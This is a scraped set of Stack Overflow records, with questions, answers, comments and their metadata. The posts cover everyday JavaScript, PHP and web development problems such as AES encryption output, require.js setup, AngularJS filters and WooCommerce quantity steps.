has body: Why is AES with same secret phrase and message returns different values each time? Let's say we have a same salt for each PBKDF2 functions( I know it's bad, it's just for an example). Let's say we are entering same passphrase each time. var salt = "5J07c/a7+2bf=15$56aQc75Ub55=60&amp;0"; console.log(req.body.password); console.log(salt); var PBKDF2hash = crypto.PBKDF2(req.body.password, salt, { keySize: 256/32 }); console.log(PBKDF2hash.toString()); var AEScipher = crypto.AES.encrypt(req.body.password, PBKDF2hash); console.log(AEScipher.toString()); In this case we receive same PBKDF2hash (as expected), but any time AES provides different chipher. zz 5J07c/a7+2bf=15$56aQc75Ub55=60&amp;0 3949676666ed318087a52896be98dc80b0cad99f4b662d48565283f71a2ace80 U2FsdGVkX19O1pqgL+V6Chk8NdiJQhf15N1uEfYXgxw= zz 5J07c/a7+2bf=15$56aQc75Ub55=60&amp;0 3949676666ed318087a52896be98dc80b0cad99f4b662d48565283f71a2ace80 U2FsdGVkX1/C7GAmLJvfFAHyOYj7LKZI5278/ZoeA3M= These answers says the thing is salt is differrent and cbc mode matters. In my case salt is constant and I've switched to other modes. Output is still different each time.
score: 1
upvote count: 1
answer count: 1
tagged with: javascript
tagged with: pbkdf2
accepted answer: http://stackoverflow.com/a/25734919
favorite count: 0
has title: Why is AES function returning different value?
linked to: http://stackoverflow.com/q/11818684
has answer: http://stackoverflow.com/a/25734919
tagged with: aes
type: AnsweredQuestion
downvote count: 0
tagged with: encryption

http://stackoverflow.com/q/25797586
favorite count: 0
answer count: 0
type: UnansweredQuestion
tagged with: handlebars.js
tagged with: requirejs
upvote count: 1
has comment: http://stackoverflow.com/comment/40356751
has comment: http://stackoverflow.com/comment/40365331
score: 1
type: Question
has body: Until now I used to write both Handlebars.registerHelper and templates inside html file itself. Now I am trying to implementrequire.js into my application. I moved helper functionsinto .js file and kept all templatesinside html file itself. I configure require like in the following way. requirejs.config({ baseUrl: "lib/js", paths: { js: "../../js", handlebars:"handlebars-v1.1.2" }, shim:{ "handlebars":{ deps:[], exports:"Handlebars" }, } } requirejs(["js/desktopHelper.js"]) desktopHelper.js : define( ["handlebars"], function(Handlebars){ Handlebars.registerHelper("maxmizeFun", function(json,attributeName){return json[attributeName];}); } ); After open my app in browser with this configuration, I am not able to open console(F12) and not able to close browser also completely hangs my app. Note:For testing, before I open app in browser, I open console and open application what I observe desktopHelper.js loaded but there is no code inside file. I don't know how it's happen like that. where I did wrong. can anyone help me.
tagged with: javascript
tagged with: require-handlebars
downvote count: 0
has comment: http://stackoverflow.com/comment/40359339
has title: How to implement Handlebars.registerHelper functions with require.js

http://stackoverflow.com/q/25744868
has answer: http://stackoverflow.com/a/25746258
tagged with: javascript
has comment: http://stackoverflow.com/comment/40256827
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/40254307
has answer: http://stackoverflow.com/a/25745268
has comment: http://stackoverflow.com/comment/40260880
accepted answer: http://stackoverflow.com/a/25746258
tagged with: angularjs
possible better answer: http://stackoverflow.com/a/25745268
has title: AngularJS use ng-options to create a Set
has comment: http://stackoverflow.com/comment/40255216
has comment: http://stackoverflow.com/comment/40254413
has body: I have a data-model that looks like the following (there are other fields but these are the most significant): $scope.model = [ { id: 1, country: "US" }, { id: 2, country: "UK" }, { id: 3, country: "DE" }, { id: 4, country: "DE" }, { id: 5, country: "DE" }, { id: 6, country: "US' }, ] I want to get the following array: [ "US", "UK", "DE"] in order to show it in a &lt;select&gt; something like the following: &lt;select ng-model="myList" ng-options="m.country for m in model | somefilter "&gt;&lt;select&gt; unique isnt convenient since it does exactly the opposite of what I want.
type: AnsweredQuestion
type: Question

http://stackoverflow.com/a/25781131
downvote count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/40321558
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25781058
has body: Just change text to val Demo: http://jsfiddle.net/a9Lyybef/ $("#get-alternative-text").click(function () { $("#the-text").val("this is the alternative text").show(); });
answers question: http://stackoverflow.com/q/25781058
type: Answer
score: 2

http://stackoverflow.com/comment/40223706
type: Comment
type: QuestionComment
score: 0
has text: Additional advisory: When using `mysqli` you should be using parameterized queries and [`bind_param`](http://php.net/manual/en/mysqli-stmt.bind-param.php) to add user data to your query. **DO NOT** manually escape and use string concatenation to accomplish this because you will create severe [SQL injection bugs](http://bobby-tables.com/).
comment on: http://stackoverflow.com/q/25728437

http://stackoverflow.com/comment/40481568
type: Comment
type: QuestionComment
has text: The thing with that is the dataset is really big upto 700 a minute, now if I have 10 patterns the fillPattern function will be called at a high rate thus the cx and cy will constantly change. As there are 220 paths having 10 pattern for each one seems highly wrong.
comment on: http://stackoverflow.com/q/25868244
score: 0

http://stackoverflow.com/q/25755308
has body: I am attempting to have a link "onclick" js event that slides a specific div left. The following jsfiddle works if going from the first link through the third in that order. If going backwards, the div does not slide... I attempted re-zindexing so the div to slide is on top of the currently visible div, but that seems to not work. http://jsfiddle.net/3qvro2pq/5/ function doShow(inDiv){ $(inDiv).zIndex(1); $(inDiv).show({ effect:'slide', direction:'right', duration:1000, complete:closeHidden }); } Please help.
has comment: http://stackoverflow.com/comment/40297127
favorite count: 0
has answer: http://stackoverflow.com/a/25768488
accepted answer: http://stackoverflow.com/a/25768488
tagged with: css
type: AnsweredQuestion
upvote count: 0
has comment: http://stackoverflow.com/comment/40274393
type: Question
has comment: http://stackoverflow.com/comment/40274113
tagged with: jquery-ui
tagged with: javascript
score: -1
has title: jquery ui show slide divs
downvote count: 1
answer count: 1
tagged with: jquery

http://stackoverflow.com/q/25766330
has body: I am developing a website with Wordpress. I am using gt3themes' corp theme. I have managed to customize layout of my site, but when it comes to partners and/or featured posts sections, theme's javascript is not working as expected. You can see the preview of the site. I have tried to deactivate the all of my active plugins, but it still not working. However, when i live preview my theme, it is showing the layout as expected, but when i save and publish it, it is becoming as before. Before activation After activation As you can see here, in the first image, it is a live preview and, for example, Our partners section is showing only 5 partners and the rest of them are hidden. Whereas, in the second image, all partners in this section is visible, just overflow made hidden. The same problem with Latest News and Announcements section. I have reviewed javascript files, and cannot differentiate from theme's live demo which you can find here. Any suggessions that can solve my problem would be highly appreciated. Thanks.
tagged with: wordpress
score: -1
type: Question
has comment: http://stackoverflow.com/comment/40296449
has title: WordPress custom theme live preview and customization is not saving current preview
answer count: 1
downvote count: 1
tagged with: javascript
favorite count: 0
tagged with: php
upvote count: 0
has answer: http://stackoverflow.com/a/25767935
type: UnansweredQuestion

http://stackoverflow.com/a/25794682
type: AcceptedAnswer
score: 4
has comment: http://stackoverflow.com/comment/40345526
type: Answer
upvote count: 4
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25794501
answers question: http://stackoverflow.com/q/25794501
has body: Verbatim from my comment: When you create the controller it makes a call to 'api/stuff' and when you call $scope.getStuff() in your test you call it again. So instead of one call to 'api/stuff' you have two which is what the error is saying. httpBackend didn't expect two calls to the endpoint, only one so it throws the error. Code example from my comment to this answer if you need to see it. it('should get stuff', function () { var url = '/api/stuff'; var httpResponse = [{ "stuffId": 1 }, { "stuffId": 2 }]; httpLocalBackend.expectGET(url).respond(200, httpResponse); httpLocalBackend.flush(); expect($scope.stuff.length).toBe(2); });

http://stackoverflow.com/q/25840584
has comment: http://stackoverflow.com/comment/40430491
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/40429893
type: UnansweredQuestion
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I'm reading David Sulc's A gentle introduction to Maionette, and came across the following: It’s important to note that the route-handling code should get fired only when a user enters the application by a URL, not each time the URL changes. Put another way, once a user is within our Marionette app, the route-handling shouldn’t be executed again, even when the user navigates around; What's the problem with triggering a handler on navigate?
linked to: http://stackoverflow.com/q/19323999
type: Question
has comment: http://stackoverflow.com/comment/40463846
tagged with: marionette
has comment: http://stackoverflow.com/comment/40433141
score: 1
has answer: http://stackoverflow.com/a/25851124
has comment: http://stackoverflow.com/comment/40430597
has title: Backbone/Marionette: why shouldn't I trigger route handler on navigate?
tagged with: backbone.js
has comment: http://stackoverflow.com/comment/40432648

http://stackoverflow.com/q/25812342
tagged with: inheritance
has comment: http://stackoverflow.com/comment/40377316
has comment: http://stackoverflow.com/comment/40377400
has comment: http://stackoverflow.com/comment/40377362
answer count: 1
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25812485
has body: Why won't Javascript inherit the properties from a prototype Example function Man(name,age,color){ this.name = name; this.age = age; this.color = color; } boy = function Boy(){}; boy.prototype = new Man(); myboy = new boy('hari',14,'blue'); console.log(myboy); // =&gt; myboy {name:undefined, age:undefined, color:undefined} It does not inherit the properties. Its meant to have the properties // =&gt; myboy {name:'hari', age:14, color:'blue'}
type: AnsweredQuestion
score: 2
upvote count: 2
linked to: http://stackoverflow.com/q/17392857
accepted answer: http://stackoverflow.com/a/25812485
type: Question
has comment: http://stackoverflow.com/comment/40377428
has title: Javascript not inheriting prototype properties
has comment: http://stackoverflow.com/comment/40377372
tagged with: javascript

http://stackoverflow.com/q/25714052
type: Question
has comment: http://stackoverflow.com/comment/40196907
has comment: http://stackoverflow.com/comment/40196787
tagged with: javascript
has comment: http://stackoverflow.com/comment/40196937
has comment: http://stackoverflow.com/comment/40197999
score: 0
has answer: http://stackoverflow.com/a/25715435
has comment: http://stackoverflow.com/comment/40196677
accepted answer: http://stackoverflow.com/a/25715435
tagged with: google-chrome-extension
has title: Set of links in popup to populate a specifically named field with set text
answer count: 1
has comment: http://stackoverflow.com/comment/40197736
tagged with: jquery
has body: I'm a noob to creating extensions and I've spent all day on this, and i'm absolutely nowhere with what I'm trying to do. Is it possible to have a set of links in a chrome extension popup that have onclick code to populate a specifically named form field and place a specific bit of text where your cursor is? For example I want it to target the "email" field and fill it with "joe@joebloggs.com" but I don't want this to be customisable. Also the input field name is email, and it has no id, so would I've tried using getelementsbyname with no joy there.
has comment: http://stackoverflow.com/comment/40196868
linked to: http://stackoverflow.com/q/13591983
type: AnsweredQuestion

http://stackoverflow.com/a/25812800
has comment: http://stackoverflow.com/comment/40394530
upvote count: 1
type: Answer
has body: Sign up Your username Your email Your password Please confirm your password Already a member ? Go and log in Check the above code!!
has comment: http://stackoverflow.com/comment/40379717
answers question: http://stackoverflow.com/q/25811995
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40379772

http://stackoverflow.com/comment/40392914
has text: Then you have to use javascript to restrict user to enter non-allowed values..call a function from input element to check the conditions in javascript and return false if conditions fail
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25820417
type: Comment

http://stackoverflow.com/comment/40227439
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25730370
type: QuestionComment
has text: one answer to your question about position is about to find pointer position in div ,, Just take this as my recomendation , i hope this can help, http://stackoverflow.com/questions/14651306/get-mouse-position-within-div

http://stackoverflow.com/comment/40406668
has text: can you setup a fiddle?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25828086
score: 0

http://stackoverflow.com/comment/40429439
has text: @PumpkinPie, you cannot store 64 bit numbers as integer in php on 32-bit machine.
type: Comment
score: 1
comment on: http://stackoverflow.com/a/25840056
type: AnswerComment

http://stackoverflow.com/comment/40221789
has text: That depends largely on what format you want to store in your database …
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25727304

http://stackoverflow.com/a/25717030
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40202762
has comment: http://stackoverflow.com/comment/40202654
upvote count: 1
type: Answer
has body: I think that the problem is that you have the logic for scrolling to that hash in the $routeChangeSuccess and as the documentation says, this event is: Broadcasted after a route dependencies are resolved. ngView listens for the directive to instantiate the controller and render the view. So the view is not rendered yet, therefore the DOM element with that id doesn't exist yet. Try putting that logic in the onload event of the ngView directive instead. I've created this plunker: http://plnkr.co/edit/S7bUT8iYY7UEti71X5Z8?p=preview that shows that if you add that logic into the onload event of the ngView directive everything works fine.
has comment: http://stackoverflow.com/comment/40243604
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25716936
has comment: http://stackoverflow.com/comment/40203559
answers question: http://stackoverflow.com/q/25716936

http://stackoverflow.com/comment/40223733
has text: Looks right, lets see the HTML. Probably missing an `ng-app` from somewhere.
comment on: http://stackoverflow.com/q/25728502
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/25724510
tagged with: javascript
has title: woocommerce variations and Quantity steps
has comment: http://stackoverflow.com/comment/40368131
score: 0
has comment: http://stackoverflow.com/comment/40292386
has comment: http://stackoverflow.com/comment/40283569
has comment: http://stackoverflow.com/comment/40217364
has body: woocommerce sample product have A,B,C variants i want do that, when choosed "A" variant, Quantity steps goes to 12,24,36... for "B", 6,12,18 ...for "C" 10, 20 ,30 ... found an code for Quantity steps, but i dont know how to modify it for that thanks for help // Simple products add_filter( 'woocommerce_quantity_input_args', 'jk_woocommerce_quantity_input_args', 10, 2 ); function jk_woocommerce_quantity_input_args( $args, $product ) { $args['input_value'] = 2; // Starting value $args['max_value'] = 80; // Maximum value $args['min_value'] = 2; // Minimum value $args['step'] = 2; // Quantity steps return $args; } // Variations add_filter( 'woocommerce_available_variation', 'jk_woocommerce_available_variation' ); function jk_woocommerce_available_variation( $args ) { $args['max_qty'] = 80; // Maximum value (variations) $args['min_qty'] = 2; // Minimum value (variations) return $args; } /////////////////////////////////////////////// I can pay for that 30$ who want supply my request
type: UnansweredQuestion
tagged with: php
has answer: http://stackoverflow.com/a/75555180
tagged with: woocommerce
tagged with: wordpress
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/116360634
has answer: http://stackoverflow.com/a/49859412

http://stackoverflow.com/comment/40326286
type: Comment
type: QuestionComment
score: 0
has text: @web-tiki, yes frames have fixed height/ width (not percentage). both may be. I mean some pic are portrait and samy may pe landscape
comment on: http://stackoverflow.com/q/25784207

http://stackoverflow.com/comment/40254878
type: Comment
type: QuestionComment
has text: Did you consider using templates? About that `guid` there is a _`guid`_ already, it is called `uid` and you can use it for getting the row or given the row find which is it `uid`.
score: 0
comment on: http://stackoverflow.com/q/25744554

http://stackoverflow.com/a/25834580
has body: Figured it out: $( document ).ready(function() { if ($("#maincontent").width() &lt; 600){ $( "#toolbarright").hide(); } else { $("#toolbarright").show();} }); $(window).resize(function() { if ($("#maincontent").width() &lt; 600){ $( "#toolbarright").hide(); } else { $("#toolbarright").show();} }); http://jsfiddle.net/ablueman/vdgeLsgL/
accepted answer of: http://stackoverflow.com/q/25832287
answers question: http://stackoverflow.com/q/25832287
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/q/25740353
upvote count: 2
tagged with: firefox-addon-sdk
score: 2
linked to: http://stackoverflow.com/q/25726131
type: AnsweredQuestion
has body: I have firefox addon, which injects two content scripts to all pages. var workers = []; pageMod.PageMod({ include: "*", contentScriptFile: [ self.data.url("content/autofill/lib_generic.js"), self.data.url("content/autofill/lib.js"), ], // add worker to the list onAttach: function(worker) { workers.push(worker); var filename = getDomainSpecificFilename(worker.contentURL); worker.on("detach", function() { var index = workers.indexOf(worker); if (index &gt;= 0) workers.splice(index, 1); }); } }); lib_generic.js contains one function named apply_forms(...) (its description is not important). The function is called from lib.js file. But this procedure doesn't work with several pages, so for each such page a I have a specific script - these file also contain only one function named apply_forms(...). I have a function, which takes current domain as input and returns name of desired specific script or false if generic should be used. What I need is - when neccessary - redefina generic apply_forms with specific apply_forms. I've tried to use tabs.activeTab.attach({ contentScriptFile: [ filename ] }); worker.port.emit("apply_forms_loaded"); and in one of content scripts: var apply_forms_loaded = false; self.port.on("apply_forms_loaded", function() { console.log("LOADED"); apply_forms_loaded = true; }); and the whole procedure is started like this: var timer; timer = setInterval(function(){ if (apply_forms_loaded) { clearInterval(timer); start(); // apply_forms is called somewhere inside this call } }, 10); Unfortunately it seems that tabs.activeTab.attach injects content scripts in different context so generic function is called allways. Is there anything I can do to convince activeTab to add content scripts in same context or should I do it different way? (which one then) Or could problem be in - I don't know - that content script is not fully injected when I send apply_forms_loaded message? I've been trying to redefine function definition also for Chrome and I've made it wo…
has answer: http://stackoverflow.com/a/25834339
type: Question
tagged with: firefox
tagged with: javascript
tagged with: firefox-addon
downvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/25834339
tagged with: content-script
favorite count: 0
has title: firefox sdk: redefine content-script function

http://stackoverflow.com/a/25861031
score: 2
has comment: http://stackoverflow.com/comment/40467310
has comment: http://stackoverflow.com/comment/40467439
has comment: http://stackoverflow.com/comment/40468445
downvote count: 0
has body: One of the solutions could be: var arr = [7,8,9,5,4,6]; var against = [1,2,4,5,6]; // make a copy of the original array as appended var appended = arr; var removed =[]; var prepended =[]; for(var i=0;i&lt;against.length;i++) { //if the element is not present in the original array, add it to removed. if(appended.indexOf(against[i]) == -1) { removed.push(against[i]); } else { //if it is already present, it was not appended, nor prepended, //remove it from appended. appended.splice(appended.indexOf(against[i]),1); } } // one more loop to seperate the prepended from the appended values. for(var j=0;j&lt;appended.length;j++) { if(appended[j] &lt; against[against.length-1]) { prepended.push(appended.splice(j,1)); j--; } } The final values in appended array will be the appended ones, and in removed will be the removed ones. The retained ones would be the prepended.
has comment: http://stackoverflow.com/comment/40467486
upvote count: 2
answers question: http://stackoverflow.com/q/25860590
type: Answer

http://stackoverflow.com/q/25763695
has comment: http://stackoverflow.com/comment/40288454
linked to: http://stackoverflow.com/q/25672502
tagged with: extjs
has title: Getting connection details in Sencha Touch fails: TypeError: Cannot read property 'type' of undefined
score: 0
tagged with: sencha-touch-2
answer count: 1
has answer: http://stackoverflow.com/a/25768369
has body: I am building an app using Sencha Touch 2. According to their documentation, and multiple other sources on the web (1, 2), I can get the connection type by using Ext.device.Connection.getType() But on this line: var connection = Ext.device.Connection.getType(); I get the following error on an Android device: TypeError: Cannot read property 'type' of undefined When running in Google Chrome on my desktop computer, it always returns null. Although, if I use the javascript console in Chrome to call Ext.device.Connection.isOnline(), this returns true, and getType() now starts returning 'Unknown connection' instead of null. This is the relevant part of my config.xml (probably don't need all of these, but I have tried with only the two first and the two last, without changes): &lt;feature name="http://api.phonegap.com/1.0/device" /&gt; &lt;feature name="http://api.phonegap.com/1.0/geolocation" /&gt; &lt;feature name="Device"&gt; &lt;param name="android-package" value="org.apache.cordova.device.Device" /&gt; &lt;/feature&gt; &lt;feature name="NetworkStatus"&gt; &lt;param name="android-package" value="org.apache.cordova.NetworkManager" /&gt; &lt;/feature&gt; All other Cordova functionality works as expected, so I believe the framework is installed correctly. What am I doing wrong, and/or what can I do to figure this out?
tagged with: cordova
tagged with: android
has comment: http://stackoverflow.com/comment/40301057
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40296741
has comment: http://stackoverflow.com/comment/40297042
accepted answer: http://stackoverflow.com/a/25768369
type: Question
linked to: http://stackoverflow.com/q/11357301
tagged with: javascript
has comment: http://stackoverflow.com/comment/40296074

http://stackoverflow.com/q/25828086
has comment: http://stackoverflow.com/comment/40407153
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40406668
downvote count: 0
has comment: http://stackoverflow.com/comment/40407314
score: 1
has answer: http://stackoverflow.com/a/41263498
has body: I am attempting to use the ace text editor with angular, and one of the needed behaviors requires a call to ace.require. I've included the appropriate files, but I am seeing that if I minify my javascript source, that doesn't work anymore. This is clearly because the path becomes invalid, but I'm not sure how to handle the situation except to manually load the mentioned files outside of my optimized bundles. I am using ASP.NET MVC Web Optimization Framework to load my javascripts as "bundles" that are compact and minified. I am using ui-ace directive to load it, but I have tested without any directive and the behavior is the same whether or not I am going through angular. Has anyone else discovered a workaround to this? It's pretty simple code ... Bundle bundles.Add( new ScriptBundle( "~/bundles/js/ace" ) // include the ace text editor .Include( "~/application/assets/scripts/ace/ace.js" ) .Include( "~/application/assets/scripts/ace/ext-language_tools.js" ))); Javascript if (angular.isDefined(opts.require)) { opts.require.forEach(function (n) { window.ace.require(n); }); } This can also just be typed explicitly as ... ace.require('ace/ext/language_tools'); HTML HOW TO REPRODUCE Since I cannot figure out a way to get the whole thing to you exactly as it needs to be, I've recreated the behavior using nodejs, bower, and gulp. NODE JS/BOWER Start by running these commands in nodejs, in a new folder. npm install bower npm install gulp npm install gulp-concat npm install gulp-rename npm install gulp-uglify npm install run-sequence bower install angular bower install ace-builds bower install angular-ui-ace GULP You can use this gulpfile.js to build the script file. var gulp = require('gulp'), concat = require('gulp-concat'), rename = require('gulp-rename'), uglify = require('gulp-uglify'), sequence = require('run-sequence'); gulp.task('default', function() { return sequence([ "ace" ]); }); gulp.task('ace', function() { return gulp.src([ 'bower_components/angular/angular.js'…
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25831145
accepted answer: http://stackoverflow.com/a/25831145
has title: Ace text editor - "require" fails if the source is minified
answer count: 2
linked to: http://stackoverflow.com/q/25821470
upvote count: 1
possible better answer: http://stackoverflow.com/a/41263498
favorite count: 0
tagged with: angularjs
tagged with: ace-editor

http://stackoverflow.com/a/25800294
has body: You can yes but if your aiming to do server side processes i recommend the jquery way. &lt;!--this button uses javascript--&gt; &lt;input type="button" onclick="myfunction()" value="button"/&gt; &lt;!--this button uses jquery--&gt; &lt;input type="button" id="myfunction" value="button"/&gt; &lt;script&gt; //javascript function using the onclick event function myfunction(){ alert("an action"); // or any other function u wish to // do once the button is click } //jquery using the id of the button $(document).ready(function(){ $("#myfunction").click(function(){ alert("another action"); // or any other function u wish to // do once the button is click }); }); &lt;/script&gt;
accepted answer of: http://stackoverflow.com/q/25800191
answers question: http://stackoverflow.com/q/25800191
score: 0
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/40208867
has text: Objects cannot be sorted.
comment on: http://stackoverflow.com/q/25720420
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25855470
type: Answer
has body: You have a couple of options... Since you said this is for test purposes, if you are not using IE to do your testing, then you can use the window.location.origin ( http://www.w3schools.com/jsref/prop_loc_origin.asp ) property to quickly check your live vs. development URL. var locURL = window.location.origin; var checkURL = 'http://host.domain.tld'; if ( locURL == checkURL ) { alert( 'Match!' ); } If you need full browser support, you'll have to parse the URL. Easiest way I can think of is to split it and reassemble... URLarray = window.location.href.split( '/' ); prot = URLarray[0]; host = URLarray[2]; locURL = prot + '//' + host; var checkURL = 'http://host.domain.tld'; if ( locURL == checkURL ) { alert( 'Match!' ); }
score: 0
answers question: http://stackoverflow.com/q/25854976

http://stackoverflow.com/comment/40251001
type: QuestionComment
has text: if you know how to do this in sharepoint please tell me
score: 0
type: Comment
comment on: http://stackoverflow.com/q/25742812

http://stackoverflow.com/a/25768944
score: 17
upvote count: 18
type: AcceptedAnswer
type: Answer
has body: For Android you can use remote debugging through chrome as described here I'll summarize/rewrite the steps (for browser based debugging) here in case the link ever goes down. Requirements: For browser tabs: Android 4.0+ and Chrome for Android A USB cable to plug in your Android device Chrome 32 or later installed on your development machine Set up: Enable USB debugging on your device. Navigate to chrome://inspect/#devices on your desktop Chrome browser. (Alternatively, to get to the same screen, you can select Chrome menu &gt; Tools &gt; Inspect Devices) After connecting, you may see an alert on the device requesting permission for USB debugging from your computer. Tap OK Chrome should now display the connected device Open up chrome on your Android device and navigate to the page you want to debug/inspect. The page should show up on your desktop browser and you should be able to inspect it. If for some reason you have an older version of chrome and cannot upgrade. There is a plugin that you can install to accomplish the same thing.
accepted answer of: http://stackoverflow.com/q/25753708
downvote count: 1
answers question: http://stackoverflow.com/q/25753708
has comment: http://stackoverflow.com/comment/139768380

http://stackoverflow.com/a/25723382
has comment: http://stackoverflow.com/comment/40225205
answers question: http://stackoverflow.com/q/25723208
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/40220132
type: AcceptedAnswer
downvote count: 0
type: Answer
has body: Your stats showing code is executing before the game even started. At that time value of your guesses is 0, so dividing by 0 is giving you infinity. You need to put your stats code in a function and call it when the game ends (3 hits) function stats(){ var stats = "You took " + guesses + " guesses to sink the battleship, " + "which means your shooting accuracy was " + (3*100/guesses)+"%"; alert(stats); } if (hits == 3) { isSunk = true; alert("You sank my battleship!"); stats(); } Now when the user hits three time, only then stats will pop up with correct values. See the DMEO here EDIT: I made some improvements in your game and now really made it playable by introducing random numbers instead of three in a line and other minor errors removed.. you can check that version HERE.
accepted answer of: http://stackoverflow.com/q/25723208

http://stackoverflow.com/a/25832183
answers question: http://stackoverflow.com/q/25827858
has comment: http://stackoverflow.com/comment/40415060
has comment: http://stackoverflow.com/comment/40418239
has comment: http://stackoverflow.com/comment/40414714
has comment: http://stackoverflow.com/comment/40417188
has comment: http://stackoverflow.com/comment/40416803
score: 0
has body: See another similar post and my response here: https://stackoverflow.com/a/25806502/4021932 You're trying to call submit() on a jQuery object, which won't work. You need to call it on the DOM element. $("form").unbind('submit'); //This is fine as it's dealing with the submit event, which jQuery handles $("form")[0].submit(); //This calls submit() on the form DOM element What about trying something like this: $(function () { $("form").submit(function (e) { var damount = parseInt($("#damount").val()); if (damount &lt; 10) { e.preventDefault(); } }); setInterval(function () { $("form")[0].submit(); }, 3000); });
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25827858
type: Answer
has comment: http://stackoverflow.com/comment/40417398

http://stackoverflow.com/q/25845210
has body: I'm current trying to use sails.js with mongodb, I need some custom mapReduce function to group data. Now I could achieve what I want by using waterline's native function, but have some questions. These function has only small variation actually, but I found myself keep repeating codes like the following one: function getSomeData() { // First-query Log.native(function(err, logCollection) { var mapFunction = function() { function dateFormatter(date) { return date.getFullYear() + "-" + (date.getMonth() + 1) } //! Generate Grouping Key emit(dateFormatter(this.emb_date), this.bad_qty) } var reduceFunction = function (key, values) { return Array.sum(values); } var outputControl = { out: {inline: 1}, //! Filters query: {order_type: product} } logCollection.mapReduce(mapFunction, reduceFunction, outputControl, function (err, result) { if (err) { callback(err); return; } var resultSet = []; //! post-processing for (var i = 0; i &lt; result.length; i++) { //..... } callback(err, resultSet); }); }); } Second-query: function getAnotherData() { Log.native(function(err, logCollection) { var mapFunction = function() { //! Generate Grouping Key emit(dateFormatter(this.product), this.bad_qty) } var reduceFunction = function (key, values) { return Array.sum(values); } var outputControl = { out: {inline: 1}, //! Filters query: {order_type: product} } logCollection.mapReduce(mapFunction, reduceFunction, outputControl, function (err, result) { if (err) { callback(err); return; } var resultSet = []; //! post-processing for (var i = 0; i &lt; result.length; i++) { //...... } callback(err, resultSet); }); }); } As you can see, these two snippet shares lots of common code, only has difference in three place (Generate grouping key, filters, post-process). So I would really like to extract the common part to make my code cleaner, but have no success. I first try to make dateFromatter is provided by a callback instead of hard-coding like the following: function dateFormatter(data) { return da…
accepted answer: http://stackoverflow.com/a/25902994
tagged with: waterline
type: Question
tagged with: mongodb
tagged with: sails.js
tagged with: javascript
score: 0
answer count: 1
has title: Extract common code from sails.js / mongodb
has answer: http://stackoverflow.com/a/25902994
type: AnsweredQuestion

http://stackoverflow.com/a/25733271
has body: As others have mentioned, the syntax is getElementById instead of getElementsById. Also, it seems that you are trying to set offsetTop and offsetLeft by reference. First, offsetLeft and offsetTop are read-only. Second, changing a variable that has been set to a element's property will not change the value of the property itself. I had success by setting a CSS definition directly, using style: var mydiv1=document.getElementById("myDiv1"); document.addEventListener('mousemove', function (e) { var x = e.pageX; var y = e.pageY; mydiv1.style.top = y + 'px'; mydiv1.style.left = x + 'px'; }); WORKING EXAMPLE Edit: You can tweak the position of the &lt;div&gt; relative to the mouse position by adding to or subtracting from the x and y values. For example: mydiv1.style.top = (y-15)+ 'px'; mydiv1.style.left = (x-8) + 'px'; WORKING EXAMPLE
has comment: http://stackoverflow.com/comment/40233152
type: AcceptedAnswer
downvote count: 0
upvote count: 2
type: Answer
score: 2
accepted answer of: http://stackoverflow.com/q/25733098
answers question: http://stackoverflow.com/q/25733098

http://stackoverflow.com/q/25778002
tagged with: javascript
favorite count: 0
upvote count: 3
tagged with: html5-history
downvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/28834153
tagged with: google-chrome
has title: How to reset variables state when moving between pages (Chrome Specific)?
score: 3
type: Question
has body: I am working with the html5 history api. When I click a link to a new page, and then click the back button. I am seeing variables who are retaining their state between page loads. Example: (function(namespace){ var singlePageSessionId = 0; singlePageSessionId = new Date().getTime(); namespace.SinglePageSessionId = function(){ return singlePageSessionId; } }(window.namespace = window.namespace || {})) That singlePageSessionId variable should be set once per actual page load. However when I click back, and then check the value of namespace.SinglePageSessionId it retains the timestamp of when I first navigated to the site. Since I am re-executing the javascript I expect the variable to be reset. I either have a fundamental mis-understanding of how the javascript engine works between pages or there is some weird behavior here. Is there a way to make sure the variables get reset ?
answer count: 1

http://stackoverflow.com/a/25859585
type: Answer
score: 0
has body: You should really scale your demo's down to the minimal needed to represent your issue. With that said, I'm not sure what behavior to expect from demo but you are using incorrect syntax to pass event handler to on() You want to pass the function as a reference not call it. Change: $('td').on("click", hover() ); To $('td').on("click", hover ); Do same for off() I'm guessing in your hover() that you want to affect only the element clciked. Since you are passing the handler as a reference, you can access the current instance of td clicked within your hover function using this. function hover() { var $el = $(this).hover(function () { $el.css('background-color', 'rgb(90,188,215)'); }, function () { $el.css('background-color', 'rgb(90,188,215)'); }); };
answers question: http://stackoverflow.com/q/25859544

http://stackoverflow.com/comment/40334975
has text: the use of the word closure in here is making my head hurt a little but I'm low on coffee
score: 1
comment on: http://stackoverflow.com/q/25789340
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25771446
has comment: http://stackoverflow.com/comment/40305795
has comment: http://stackoverflow.com/comment/40305853
downvote count: 0
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25772884
favorite count: 0
type: AnsweredQuestion
